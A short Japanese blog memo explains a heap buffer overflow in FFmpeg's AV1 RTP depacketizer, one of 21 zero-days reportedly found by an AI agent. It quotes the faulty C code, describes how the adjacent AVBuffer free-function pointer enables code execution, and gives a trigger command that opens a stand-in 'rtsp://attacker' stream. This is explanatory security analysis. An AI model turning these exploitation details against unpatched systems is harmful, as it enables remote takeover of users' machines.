FFmpegの21連ゼロデイ事件とメモリ安全言語の話

元記事 21 Zero-Days in FFmpeg — For $1,000 セキュリティスタートアップのDepthfirst社が開発したAIエージェントが、FFmpegから21件の未公開脆弱性(ゼロデイ)を発見した。かかった費用はわずか1,000ドル。 人間が数ヶ月かけて監査する規模のコード(約150万行のC言語)を数日でスキャンし、実際にクラッシュやコード実行を起こせる実証コード(PoC)までAIが自動生成したらしい。 その中でもAV1 RTPデパケタイザのバグが、ハッカーにとって都合が良すぎる完璧な仕様だった。 特別なフラグも不要で、以下の ordinary なコマンドで罠URLを開かせるだけでリモートコード実行(RCE)が成立する。 ffmpeg -i rtsp://attacker/stream わずか183バイトのパケット1つでPCが乗っ取られる仕組みが面白かったのでメモ。 原因 トラック用カーソルの「勘違い」 問題は libavformat/rtpdec_av1.c のAV1 RTPデパケタイザ(パケット組み立て処理)にある。 AV1の仕様では、フレームの区切りを示す1バイトのマーカー Temporal Delimiter (TD) を「無視して削除(ignore and remove)」せよ、と書かれている。この処理部分のロジックがバグっていた。 FFmpegは、パケットの書き込み位置を制御するカーソル pktpos を動かしながら処理を行うが、TDを見つけたときに以下のような挙動をしていた。 // libavformat/rtpdec_av1.c:250 if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) || (obu_type == AV1_OBU_TILE_LIST)) { pktpos += obu_size; // 書き込みカーソル(矢印)だけを先に進める rem_pkt_size -= obu_size; // インプットカウンターを減らす obu_cnt++; continue; // メモリ確保(割り当て)は行わない! } データを無視する(メモリを確保しない)のに、書き込みカーソル(pktpos)だけを先に進めてしまった。これにより、確保されたサイズより遥か先を指す「ポイズンカーソル」が生まれる。 さらに、インプット側のポインタを進め忘れたため、次のループ処理で同じTDのデータを再パースし、攻撃者が用意した任意のデータを、はみ出た未来のメモリ番地へピンポイントに書き込める状態(ヒープバッファオーバーフロー)が完成する。 詳しくてちゃんとした解説については21 Zero-Days in FFmpeg — For $1,000の最後らへんを見てほしい。 綺麗すぎるメモリ配置 通常ならクラッシュして終わるが、FFmpegのアロケータの並びがハッカーにとってお宝だった。 動画データを置くバッファのすぐ隣(オフセット152)には、内部の管理用構造体 AVBuffer が隣接して割り当てられる決まりになっている。この中には、データの片付け(メモリ解放)を行うための「関数ポインタ」(void (*free)(...))が格納されている。 ...

June 13, 2026 · 1 min